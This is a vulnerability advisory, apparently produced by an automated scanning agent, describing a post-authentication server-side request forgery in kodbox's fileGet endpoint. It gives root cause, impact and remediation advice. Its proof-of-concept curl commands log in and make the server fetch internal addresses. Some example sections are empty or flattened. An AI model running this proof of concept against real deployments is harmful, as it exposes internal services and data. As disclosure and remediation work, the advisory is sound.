【CVE-2026-4589】Post-Auth SSRF in explorer/editor/fileGet via URL Path Parameter

Vulnerability ID: VPLUS-2026-14021
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V05 – Server-Side Request Forgery (SSRF)
Authentication: Post-Auth (requires login)
Confidence: 99%
Status: Confirmed
CVSS: 8.6
CVE: –
Discovery Time: 2026-03-02 00:29:11

Affected Component / Endpoint

• File: /workspace/source-code/app/controller/explorer/editor.class.php

• Function: fileGet (around line 14)

• Endpoint pattern:
  GET /?explorer/editor/fileGet&accessToken=<token>&path=<attacker-controlled-url>

Technical Description / Root Cause

The explorer/editor/fileGet endpoint is intended to read file content and return it to the client. For paths that are URLs, it uses the PathDriverUrl driver to fetch remote resources.

The implementation:

• Accepts a user-controlled path parameter.

• Calls request_url_safe() to validate the path when it is a URL.

• If accepted, treats path as a remote URL and has PathDriverUrl fetch that resource.

• Returns the fetched content in the JSON response under data.content, along with data.pathUrl (the effective URL) and metadata such as data.size.

The security control request_url_safe() is incomplete:

• It allows http, https, and ftp.

• It does not block private or local network ranges.

• It does not prevent access to loopback, internal services, or other sensitive network locations.

As a result, any authenticated user can set path to an arbitrary HTTP(S)/FTP URL. The kodbox server will then perform a server-side request to that URL and return the response content to the user, yielding a powerful SSRF primitive with full response exfiltration.

Attack Vector

An authenticated attacker:

1. Logs in and obtains a valid session and accessToken.

2. Calls explorer/editor/fileGet with path set to an attacker-chosen URL (including internal URLs).

3. The kodbox server uses PathDriverUrl to request the remote resource.

4. The HTTP response body from the target URL is returned in data.content of the JSON response.

Example request structure:

The response contains:

PoC (Confirmed)

PoC steps (original test on http://192.168.200.52:80):

1. Login and get session:

   <BASH>

    

   LOGIN=$(curl -sS -c "$COOKIE" -X POST "$TARGET/?user/index/loginSubmit" \

     --data-urlencode "name=$USER" \

     --data-urlencode "password=$PASS")

   Response:

   <JSON>

    

   {

       "code": true,

       "data": "ok",

       "info": "ba80rh4PVlpcRe26f-..."

   }

2. Extract accessToken from LOGIN.info and trigger SSRF by setting path to an internal URL:

   <BASH>

    

   RESP=$(curl -sS -b "$COOKIE" \

     "$TARGET/?explorer/editor/fileGet&accessToken=$TOKEN&path=$(python3 - <<'PY'

import urllib.parse print(urllib.parse.quote('http://192.168.200.52:80/?user/view/checkCode', safe='')) PY )")

• data.pathUrl equals the attacker-controlled URL.

• data.content contains the binary response (here, a CAPTCHA image), base64-encoded.

Agent re-validation on another target (192.168.200.57:80) used:

Result:

This confirms:

• The server performed a request to the internal URL.

• The internal endpoint response (including data="ok:check") was returned in data.content.

Impact

With only normal authentication (no special privilege beyond access to fileGet), an attacker can:

• Use the kodbox server as an SSRF proxy to access internal HTTP(S)/FTP services.

• Reach endpoints on localhost, internal IPs, or other non-public network locations not directly exposed to users.

• Extract sensitive data from internal services, since the full response body is returned in data.content.

• Chain SSRF with vulnerabilities on internal services (e.g., unauthenticated admin APIs, weak internal endpoints) to escalate privileges and potentially compromise internal infrastructure.

Because responses are returned to the attacker, this is not a blind SSRF; it provides direct visibility into internal resource contents.

Duplicate Check

A duplicate search via:

GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14021

found no existing vulnerabilities referencing the same endpoint and path. The closest match, VPLUS-2026-14017, affects explorer/upload/serverDownload and uses a different file, function, and attack vector. This issue in explorer/editor/fileGet is therefore considered a distinct, non-duplicate SSRF vulnerability.

Remediation Recommendations

1. Disallow arbitrary remote URLs in fileGet:

   • Do not treat path as a generic remote URL.

   • Restrict fileGet to local storage paths only, unless remote-read is strictly required.

2. If remote read is required, enforce strict controls:

   • Maintain a domain allowlist of trusted external sources.

   • Explicitly block:

     • Loopback addresses (e.g., 127.0.0.0/8, ::1).

     • Private, link-local, and metadata ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and equivalent IPv6 ranges).

   • Resolve hostnames server-side and validate the resulting IP against these rules.

3. Harden request_url_safe():

   • Limit schemes to http and https only (remove FTP).

   • Restrict ports to a safe set (e.g., 80, 443) unless explicitly required.

   • On redirects, re-resolve and re-validate the final URL and IP (prevent open redirects and DNS rebinding).

4. Authorization and auditing:

   • Consider restricting URL-based fileGet usage to high-privilege roles only, or disabling it entirely.

   • Add detailed audit logging for every remote fetch:

     • User, original URL, resolved IP, timestamp, response size, and status.

   • Add rate-limiting or quotas for remote requests to reduce abuse potential.

5. Network hardening (defense in depth):

   • Place kodbox servers in network segments with tightly controlled access to sensitive internal services.

   • Monitor outbound connections from kodbox to detect unusual or suspicious access patterns.